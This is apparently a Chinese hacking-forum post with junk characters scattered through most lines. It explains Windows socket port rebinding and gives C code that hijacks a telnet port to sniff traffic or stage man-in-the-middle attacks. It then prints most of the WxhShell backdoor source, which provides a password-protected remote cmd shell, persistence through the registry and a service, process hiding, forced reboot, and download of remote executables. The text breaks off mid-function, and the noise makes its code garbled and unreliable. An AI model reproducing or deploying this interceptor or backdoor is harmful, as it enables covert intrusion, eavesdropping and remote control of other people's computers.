在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
h8$lDFo s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
Y[
a$~n^:n Vdh5s 292h saddr.sin_family = AF_INET;
&NB[:S= ;_1D-Mf saddr.sin_addr.s_addr = htonl(INADDR_ANY);
:&9#p%/ Wd3/Y/MD bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
y*2:(nI GwxfnCKi9 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
_u]Wr%D@ `~VV1 这意味着什么?意味着可以进行如下的攻击:
HwiG~'Ah9 YDz:;Sp\ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
sj0Hv d9 nhiCV>@y 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
G\ru% svHs&v 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
Ycn*aR2 n;/yo~RR 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
)Uo)3FAn qIuY2b`6 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
s{'r'`z. sMs 0*B-[ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
bt-y6,> +E }9:d(B9; 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
G#
.z((Rj m80Q Mosp #include
k`'^e/ #include
.ie \3q) #include
Xj.6A,}^ #include
`G@]\)-! DWORD WINAPI ClientThread(LPVOID lpParam);
WVir[Kv% int main()
4$@5PS#, {
118A6qyi WORD wVersionRequested;
[?.k 8;k DWORD ret;
r@/+ WSADATA wsaData;
}3V Q*'X>i BOOL val;
_@ev(B SOCKADDR_IN saddr;
nB`pfg SOCKADDR_IN scaddr;
z|<6y~5, int err;
"!+q0l1]@ SOCKET s;
E&7U |$ SOCKET sc;
5)AMl) int caddsize;
%f*8JUE16 HANDLE mt;
?qO_t;:0> DWORD tid;
X8GIRL)lJ wVersionRequested = MAKEWORD( 2, 2 );
q~T*R<S err = WSAStartup( wVersionRequested, &wsaData );
!Hr~B.f7 if ( err != 0 ) {
&?#V*-;^ printf("error!WSAStartup failed!\n");
'[I?G6 return -1;
69p>?zn }
l> W?XH saddr.sin_family = AF_INET;
g;UB+Y 247 d3St Z~&r! //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
`!K(P- yB? Xt_8=Q saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
x32hO; saddr.sin_port = htons(23);
#||^l_ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
9h9 jS~h {
6`J*{%mP printf("error!socket failed!\n");
;1'X_tp return -1;
pi7W8y
}
:uSo2d val = TRUE;
v1oq[+ //SO_REUSEADDR选项就是可以实现端口重绑定的
si.ZTG9m if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
iT227v!s {
@aAB#, printf("error!setsockopt failed!\n");
Tu o`>ZA return -1;
-B* = V }
8Mf6*G#Y //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
&z+nNkr?yN //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
+? E~F //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
'-N `u$3Y N^*%{[<5 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
7;2j^qPr {
sn+g#v9e ret=GetLastError();
Pv|g.hH9m printf("error!bind failed!\n");
wDVKp[' return -1;
bC{}&a }
G%jgr"]\z listen(s,2);
Hbn%CdDk1 while(1)
nm`[\3R {
~k^rI jR caddsize = sizeof(scaddr);
!ow:P8K? //接受连接请求
:k*'MU} sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
EZ:pcnL{ if(sc!=INVALID_SOCKET)
m9 o{y6_j* {
%JF^@\E!| mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
p.A_,iE if(mt==NULL)
`*g(_EZsS {
,&e0~ printf("Thread Creat Failed!\n");
'y[74?1 break;
($pN OGH }
MKf|(6;~ }
?x1sm"]p' CloseHandle(mt);
_kg<KD=P }
%UT5KYd!=N closesocket(s);
't.IYBHx WSACleanup();
-K eoq return 0;
z6)b XL[f }
*:gx1wd DWORD WINAPI ClientThread(LPVOID lpParam)
}Go?j#
! {
d,8L-pT$FM SOCKET ss = (SOCKET)lpParam;
t(AW2{%} SOCKET sc;
4'up bI unsigned char buf[4096];
Oi%\'biM SOCKADDR_IN saddr;
X6)%2TwO long num;
U6cpj DWORD val;
6?$yBu9l DWORD ret;
UTB]svC' //如果是隐藏端口应用的话,可以在此处加一些判断
~"|MwR!0 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
`?E|frz[ saddr.sin_family = AF_INET;
`?f6~$1 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
+O"!* saddr.sin_port = htons(23);
)O\w'|$G if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
10R#}~D {
w"ZngrwBl printf("error!socket failed!\n");
ndg1E;> return -1;
S52'!WTq }
VzD LG LH val = 100;
E:vgG|?? if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
H1>~,zc>E {
{*mf Is ret = GetLastError();
K)b@,/ 5 return -1;
K</EVt,U~ }
0Xo>f"2<f if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
;E:vsVK {
&n$kVNE ret = GetLastError();
/5:2g#S4 return -1;
epN>;e z }
A.tXAOM(VW if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
~&HP}Q$#f {
y_mTO4\C2 printf("error!socket connect failed!\n");
]bxBo closesocket(sc);
ncTPFv
H5 closesocket(ss);
wN
NXUW return -1;
Znr6,[U+q }
}aO6% while(1)
8u8-:c%{ {
k_;g-r, //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
MrjgV+P}[ //如果是嗅探内容的话,可以再此处进行内容分析和记录
5"sd //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
CWT#1L= num = recv(ss,buf,4096,0);
]2E#P.-!b if(num>0)
+MZsL7% send(sc,buf,num,0);
GmhfBW? else if(num==0)
P* X^)R break;
f/xQy}4+~E num = recv(sc,buf,4096,0);
i4T=4q if(num>0)
xVxN
@[ send(ss,buf,num,0);
#qLsAw--Q else if(num==0)
ly[j=vBV break;
LV2#w_^I }
|7%has3" closesocket(ss);
ncGt-l<9 closesocket(sc);
R7\T.;8+ return 0 ;
Cv[_N%3[ }
hgg8r#4q f \ E9u} ='A VI-go5 ==========================================================
<+y%k~(" izDfpr}s4 下边附上一个代码,,WXhSHELL
mH.c`* *kYJwO^ ==========================================================
TWSqn'<E L|hELWru #include "stdafx.h"
F8H4R7
8>; =kzuU1s #include <stdio.h>
G&Fe2&5!w #include <string.h>
>\br8=R #include <windows.h>
NF "|*S #include <winsock2.h>
pO?v$Rjl #include <winsvc.h>
#| pn,/ #include <urlmon.h>
^>wlj 3</W}]$)p #pragma comment (lib, "Ws2_32.lib")
M^ZEAZi #pragma comment (lib, "urlmon.lib")
+D+v j|fn VLPPEV-u #define MAX_USER 100 // 最大客户端连接数
b>h
L*9 #define BUF_SOCK 200 // sock buffer
gmqA 5W~y #define KEY_BUFF 255 // 输入 buffer
5GK> ~2c( ~P7zg!p/q #define REBOOT 0 // 重启
_V`F_C\\# #define SHUTDOWN 1 // 关机
HPMj+xH *iX PG9XZ #define DEF_PORT 5000 // 监听端口
;
,Nvg6c ~6A;H$dr #define REG_LEN 16 // 注册表键长度
Sw.k,p*r #define SVC_LEN 80 // NT服务名长度
_u3%16,o Rp+Lu // 从dll定义API
?;]Xc~ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
,(i`gH{D typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
T)MX]T typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
{S@gjMuN typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
6E@TcN~,! A$g'/QM // wxhshell配置信息
dVMduo struct WSCFG {
|&"/u7^ int ws_port; // 监听端口
S5BS![-QK char ws_passstr[REG_LEN]; // 口令
6t\0Ui int ws_autoins; // 安装标记, 1=yes 0=no
G%A!yV char ws_regname[REG_LEN]; // 注册表键名
enGZb& char ws_svcname[REG_LEN]; // 服务名
~9y/MR char ws_svcdisp[SVC_LEN]; // 服务显示名
M
~;]d char ws_svcdesc[SVC_LEN]; // 服务描述信息
H Y~[/H+: char ws_passmsg[SVC_LEN]; // 密码输入提示信息
z"nMR_TTu int ws_downexe; // 下载执行标记, 1=yes 0=no
iNs@8<=$T char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
U5
ia| V char ws_filenam[SVC_LEN]; // 下载后保存的文件名
cG"wj$'w ;V?3Hwl };
mEmgr(W o2D;EUsNX // default Wxhshell configuration
,|g&v/WlC% struct WSCFG wscfg={DEF_PORT,
x)jc "xuhuanlingzhe",
)3f<0C> 1,
K=!
C\T"I% "Wxhshell",
6d`qgEM3 "Wxhshell",
iCJXV' "WxhShell Service",
5dX /< "Wrsky Windows CmdShell Service",
x4i&;SP0 "Please Input Your Password: ",
Bz(L}V]\k 1,
( Sjlm^bca "
http://www.wrsky.com/wxhshell.exe",
@Q7^caG "Wxhshell.exe"
H|S hi / };
2:@,~{`#* 3*T/ 7\ // 消息定义模块
C|V5@O?;&
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
g"~`\xhx char *msg_ws_prompt="\n\r? for help\n\r#>";
EQe$~}[ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
SdF+b+P] char *msg_ws_ext="\n\rExit.";
d\R "?Sg char *msg_ws_end="\n\rQuit.";
1#3eY?Nb char *msg_ws_boot="\n\rReboot...";
K]1|#`n char *msg_ws_poff="\n\rShutdown...";
b")O#v. char *msg_ws_down="\n\rSave to ";
~Ede5Vg!!2 #@' B\!<@= char *msg_ws_err="\n\rErr!";
)(OGo`4Qz char *msg_ws_ok="\n\rOK!";
T/0cPn0> U;A,W$<9 char ExeFile[MAX_PATH];
NoMlTh(O int nUser = 0;
v.ow`MO=; HANDLE handles[MAX_USER];
O=vD6@QI int OsIsNt;
6i;q=N$' PMi.)%++ SERVICE_STATUS serviceStatus;
{Mb2X^@7 SERVICE_STATUS_HANDLE hServiceStatusHandle;
bXvriQ.UH Dm%Q96*VAq // 函数声明
u+y3(0 int Install(void);
vmv6y*qU int Uninstall(void);
Scug
wSB int DownloadFile(char *sURL, SOCKET wsh);
3&I3ViAH int Boot(int flag);
r0wAh/J| void HideProc(void);
d;,Jf*x\ int GetOsVer(void);
_%3p&1ld int Wxhshell(SOCKET wsl);
XqU0AbQ void TalkWithClient(void *cs);
*kTj,&x[ int CmdShell(SOCKET sock);
ahdwoB int StartFromService(void);
2%v6h int StartWxhshell(LPSTR lpCmdLine);
\T[OF8yhW O6vHo3k VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
pHowioFx VOID WINAPI NTServiceHandler( DWORD fdwControl );
n2dOCntN> DQ}&J // 数据结构和表定义
V["'eJA,, SERVICE_TABLE_ENTRY DispatchTable[] =
n!sOKw {
M+M ;@3 {wscfg.ws_svcname, NTServiceMain},
uGn BlR$} {NULL, NULL}
XI:+EeM? };
JC`;hY $> ;| // 自我安装
/eT9W[a int Install(void)
]heVR&bQ {
.AQTUd(_ char svExeFile[MAX_PATH];
qfdL *D HKEY key;
He$v'87] strcpy(svExeFile,ExeFile);
)Y&B63]B BUdO:fr // 如果是win9x系统,修改注册表设为自启动
}
@
[!%hE if(!OsIsNt) {
G*=&yx."E if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
KzX)6|g{" RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
i03=Af3 RegCloseKey(key);
n^rbc;} if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
!acuOBv, RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
MskOPg RegCloseKey(key);
lKf kRyO_S return 0;
\[|X^8j }
%__ @G_M }
x?]fHin_ }
wz@[rMf else {
,gW$m~\ ++UxzUd // 如果是NT以上系统,安装为系统服务
FRL;fF SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
txm6[Io if (schSCManager!=0)
'SXLnoeTa {
;1s;" SC_HANDLE schService = CreateService
]<ay_w; (
I?nU+t; schSCManager,
EuA352x wscfg.ws_svcname,
lfG',hlI; wscfg.ws_svcdisp,
O$x +>^ SERVICE_ALL_ACCESS,
xnJ#}-.7 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
V6+:g=@U-l SERVICE_AUTO_START,
4jlwu0L+ SERVICE_ERROR_NORMAL,
YzJWS|] svExeFile,
p.<d+S< NULL,
:?}>Q NULL,
~}/_QlX` K NULL,
,$aqF<+; NULL,
T24$lhM NULL
Ki1 zi~ );
I *f@M} if (schService!=0)
FjI1'Ah\ {
UV</Nx)3 CloseServiceHandle(schService);
cp"{W-Q{$ CloseServiceHandle(schSCManager);
:^qUr`) strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
gv&Hu$ca strcat(svExeFile,wscfg.ws_svcname);
)Jw$&%/{1 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
oLtzPC RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
xT( pB-R RegCloseKey(key);
/XA*:8~! return 0;
fh66Gn, }
4#t=%} }
Gm> =s CloseServiceHandle(schSCManager);
I~E&::, }
8M,z#DF }
bSQj=|h1 a2]>R<M return 1;
ILiOEwHS7F }
&h.?~Ri ]zj&U#{ // 自我卸载
aI|X~b int Uninstall(void)
KU Mk:5
c {
M$Rh]3vqR HKEY key;
&LG|YvMY6 eYn/F~5- if(!OsIsNt) {
wzmQRn;s if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
>I0 a$w RegDeleteValue(key,wscfg.ws_regname);
Jh36NE8r RegCloseKey(key);
0W_u"UY$c if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
,1.Td=lY$ RegDeleteValue(key,wscfg.ws_regname);
({$rb- RegCloseKey(key);
&os:h]
C return 0;
5|`./+Ghk }
mVN\ }
(dy:d^ }
_PQk<QZ else {
<]_[o:nOP ^rO!- SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
hZ/p' if (schSCManager!=0)
7AqbfLO {
'|*e4n SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
C[l5[DpH if (schService!=0)
J l{My^I5 {
bA'N2~., if(DeleteService(schService)!=0) {
hSN38wy CloseServiceHandle(schService);
><.*5q CloseServiceHandle(schSCManager);
#;+SAoN
return 0;
!w0=&/Y{R }
U7e2NES CloseServiceHandle(schService);
'Q=(1a11 }
kw7E<aF! CloseServiceHandle(schSCManager);
U'~]^F%eyu }
m( %PZ*s }
(/9 erfuJ PsS.lhj0" return 1;
-a"b:Q }
I47sq z7 2T@?&N^OD // 从指定url下载文件
r gi4> int DownloadFile(char *sURL, SOCKET wsh)
@ Jb-[W$* {
i=hA. y` HRESULT hr;
NO/5pz}1 char seps[]= "/";
l<(jm{q?u char *token;
5zyd;y)|' char *file;
S!^I<#d K char myURL[MAX_PATH];
x^cJ~e2 char myFILE[MAX_PATH];
T[ g(S0dz B5R 7geC strcpy(myURL,sURL);
?%D nIl> token=strtok(myURL,seps);
Gv[(0 while(token!=NULL)
Y:Jgr&*,z {
lS!O(NzqE' file=token;
j0n.+CO-{ token=strtok(NULL,seps);
)(c%QWz }
|TF6&$>d -q
nOq[ GetCurrentDirectory(MAX_PATH,myFILE);
cFq2 6(e strcat(myFILE, "\\");
\JCpwNT{P strcat(myFILE, file);
H
=&K_ send(wsh,myFILE,strlen(myFILE),0);
V^><
=DNE send(wsh,"...",3,0);
Hq?dqg' %~ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
g:6`1C if(hr==S_OK)
uu>R)iTQ%S return 0;
Zw<<p|{)< else
?+%bEZ` return 1;
N|
P?!G-= V?jWp$ }
#/_ VY. pwB>$7(_h // 系统电源模块
r]aI=w<(f int Boot(int flag)
WD*z..` {
WY5HmNX3E HANDLE hToken;
Gq%,'amf TOKEN_PRIVILEGES tkp;
N0ef5J
JM` vTWm_ed+^ if(OsIsNt) {
8.7lc2aX OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
\>{;,f LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
+=nWB=iCb tkp.PrivilegeCount = 1;
`7?EE1o
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
Q~rE+?n9F AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
41Ab, if(flag==REBOOT) {
m6A\R KJ' if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
6.[3N~pq return 0;
;hEeFJ=/G }
1F+JyZK}w else {
)@=fGN Dt if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
[dqh-7 return 0;
R:f ,g2 }
m9-=Y{&/ }
kP^= else {
O3#eQs if(flag==REBOOT) {
e5'U[bQm if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
(rq(y$N return 0;
qG]0z_dPE~ }
]*Kv[%r07c else {
9oG)\M.6w if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
\6aisK return 0;
=Tfm~+7nE }
r$x;rL4 }
7mtg jw0wR\1 return 1;
sk3AwG;A }
Pa$"c?QUy ::-*~CH) // win9x进程隐藏模块
fP$rOJ)P void HideProc(void)
"g!ek3w( {
}'n]C| gZ 2R;#XmKS HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
x,fL656t if ( hKernel != NULL )
WSGho(\ {
k<NxI\s8] pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
M)H*$!x}> ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
7")~JBH FreeLibrary(hKernel);
{A)9ePgv! }
ktp<o.f[ 8PWEQ<ev7> return;
HK%W7i/k@ }
j[dgY1yE: NYzBfL
x // 获取操作系统版本
VSh&Y_% int GetOsVer(void)
Nu'ox. V {
p\.IP2+c OSVERSIONINFO winfo;
QFgKEUNgl winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
1y,/|Y GetVersionEx(&winfo);
3UUN@Tx if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
>gz8,& return 1;
[X>f;;h else
POX{;[SV return 0;
4Tb"+Y} }
wti >5D;uTy
u // 客户端句柄模块
ViG>gMG v int Wxhshell(SOCKET wsl)
\p]B8hLW {
#wZH.i# SOCKET wsh;
n9R0f9:* struct sockaddr_in client;
8xkLfN|N=
DWORD myID;
U*go}dt"5 I~;H'7|e while(nUser<MAX_USER)
-zI9E!24 {
Ka<J*
k3 int nSize=sizeof(client);
!fjB oK+ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
Q{yjIy/b if(wsh==INVALID_SOCKET) return 1;
91nw1c! 9`M7 -{ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
sa"}9IE*8 if(handles[nUser]==0)
\0&F'V closesocket(wsh);
Sl@Ucc31 else
O=^/58(m nUser++;
Jb-.x_Bf }
>2X-98, WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
IaU%L6Q] &
x_
#zN] return 0;
Eh$1piJG }
BO%'/2eV -=ZDfM
// 关闭 socket
q;7DH4;t void CloseIt(SOCKET wsh)
}]JHY P\ {
aM(x--UR= closesocket(wsh);
\xQu*M:! nUser--;
7:<A_OLi ExitThread(0);
+oL@pp0 }
\1QY=} bR8`Y(=F9b // 客户端请求句柄
c]/S<w< void TalkWithClient(void *cs)
xErb11 {
;uzLa%JQ V)vik SOCKET wsh=(SOCKET)cs;
9[sOh<W char pwd[SVC_LEN];
%Y>E char cmd[KEY_BUFF];
&So1;RR,_M char chr[1];
y0~ttfv int i,j;
|.L_c"Bc 5G$5d:[( while (nUser < MAX_USER) {
!e*T.
1Kz 5HIQw9g6 if(wscfg.ws_passstr) {
FYK`.>L28 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
i83[': //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Q|e-)FS) //ZeroMemory(pwd,KEY_BUFF);
90K&oof?M i=0;
UM<s#t`\3 while(i<SVC_LEN) {
^)(tO$S w4M;e;8m[U // 设置超时
p<,`l)o}~ fd_set FdRead;
TwI'XMO;A struct timeval TimeOut;
qI${7 FD_ZERO(&FdRead);
g4952u FD_SET(wsh,&FdRead);
=itQ@``r TimeOut.tv_sec=8;
/ :6|)AW.{ TimeOut.tv_usec=0;
]hoq!:>M1 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
e[0"x.gu if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
`csZ*$7 ga(k2Q;y if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
*ZxurbX# pwd
=chr[0]; }r!hm?e
if(chr[0]==0xd || chr[0]==0xa) { 3dSC`K
pwd=0; P,F
eF'J^
break; -4P `:bF
} o{^`Y
i++; K Hgn
} * ^V?u
5;,h8vW
// 如果是非法用户,关闭 socket "/mtuU3rt
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); O?cU6u;W
} b4WH37,lA
?_cOU@n
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); (z?j{J
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -'SA&[7dP
#qpP37G
while(1) { 6U.|0mG[
&/WE{W
ZeroMemory(cmd,KEY_BUFF); ~E!kx
L(sT/
// 自动支持客户端 telnet标准 ;{q*
j=0; PB?2{Cj
while(j<KEY_BUFF) { c&FOt
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C+[)^2M{
cmd[j]=chr[0]; aB?usVoS
if(chr[0]==0xa || chr[0]==0xd) { aT(_c/t.
cmd[j]=0; Rn]xxa'
break; +jyGRSo
} X6 N&:<
j++; VpSpj/\m)'
} Am_>x8z
%:zu68Q[
// 下载文件 'tvuw\hhL
if(strstr(cmd,"http://")) { ,?k1if(0[
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 7 )rL<+
if(DownloadFile(cmd,wsh)) _53~D=
send(wsh,msg_ws_err,strlen(msg_ws_err),0); mt`CQz"_
else RHMXPsj
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); RjVmHhX
} |_>^vW1f
else { q=V'pML
u3GBAjPsIk
switch(cmd[0]) { ~BX=n9
"WUS?Q
// 帮助 m[74 p
case '?': { 75lh07
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ^gZ,A]
break; v8j3
K
} TlRc8r|
// 安装 ^|]Dg &N.
case 'i': { ~x#TfeU]
if(Install()) x3Y)l1gh
send(wsh,msg_ws_err,strlen(msg_ws_err),0); b*M?\ aA
else n P]!{J]
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _lFw1pa#\
break; ]z/R?SM
} "\KBF
// 卸载 _]pu"hZz4
case 'r': { P(TBFu
if(Uninstall()) UL{J%Ze=~
send(wsh,msg_ws_err,strlen(msg_ws_err),0); [nP s
else /:'>-253
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n2hV}t9O
break; G0Qw&
mqF
} Vm>E F~ r
// 显示 wxhshell 所在路径 ,<r&]
eC
case 'p': { UNff&E-
char svExeFile[MAX_PATH]; <7`zc7c]#
strcpy(svExeFile,"\n\r"); FutS
strcat(svExeFile,ExeFile); $[n:IDa*@1
send(wsh,svExeFile,strlen(svExeFile),0); T?t/[iuHrj
break; >[,eK=
} ?'9IgT[*
// 重启 ~~Ezt*lH
case 'b': { ]MosiMJF
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); h0@a"DqK
if(Boot(REBOOT)) %.<_+V#h
send(wsh,msg_ws_err,strlen(msg_ws_err),0); W%-XN
else { mV$ebFco0
closesocket(wsh); 4n@lrcq(
ExitThread(0); ?(R3%fU
} Es%f@$0uy
break; yy7(')wKO
} kzDN(_<1
// 关机 HdJ g
case 'd': { v#d\YV{I
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); %gh#gH
if(Boot(SHUTDOWN)) O'mcN*
send(wsh,msg_ws_err,strlen(msg_ws_err),0); hEQyaDD;
else { ]f0'YLG
closesocket(wsh); .Dr!\.hL
ExitThread(0); _y_}/
} {YzCgf
break; czuIs|_K*
}
p;w&}l{{
// 获取shell +*:mKx@Nw
case 's': { d*0RBgn
CmdShell(wsh); VNHceH
closesocket(wsh); 8b)WOr6n
ExitThread(0); JhFbze>
break; -}|L<~
} KBmO i
// 退出 u ;-&r'J>
case 'x': { +*]$PVAFA
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ,=P&{38\q
CloseIt(wsh); =GPXuo
break; Nc7"`!;-
} |Ev|A9J!
// 离开 bOFzq>k_
case 'q': { f\]?,
send(wsh,msg_ws_end,strlen(msg_ws_end),0); <gkE,e9
closesocket(wsh); <46&R[17M
WSACleanup(); FklR!*oL,)
exit(1); i}sAF/
break; G`Nw]_
Z_
} 1^![8>u"
} "w'pIUQ3,
} HcsVq+
j|k/&q[St
// 提示信息 1
:p'
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); AafS6]y
} 4]h/t&ppq
} WiS3W;
rPaJ<>Kz
return; &q-&%~E@
} <+oh\y16
\9)5b8
// shell模块句柄 Hd|[>4 Z
int CmdShell(SOCKET sock) -G~]e6:zD
{ L,[Q/$S8
STARTUPINFO si; a)QT#.
ZeroMemory(&si,sizeof(si)); 1;ttwF>G7
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 9|1msg4
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 9\_AB.Z:
PROCESS_INFORMATION ProcessInfo; g"m'
C6;
char cmdline[]="cmd"; Zv;nY7B
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); h;gc5"mG
return 0; }=[p>3Dd
} _ ;j1g%
8tx*z"2S
// 自身启动模式 *[Z`0AgP
int StartFromService(void) DM^0[3XuV5
{ R| ?Q&F_$
typedef struct P%aqY~yF3
{ $oBs%.Jp
DWORD ExitStatus; MXaFqK<Y
DWORD PebBaseAddress; )QE6X67i
DWORD AffinityMask; SGWb*grt
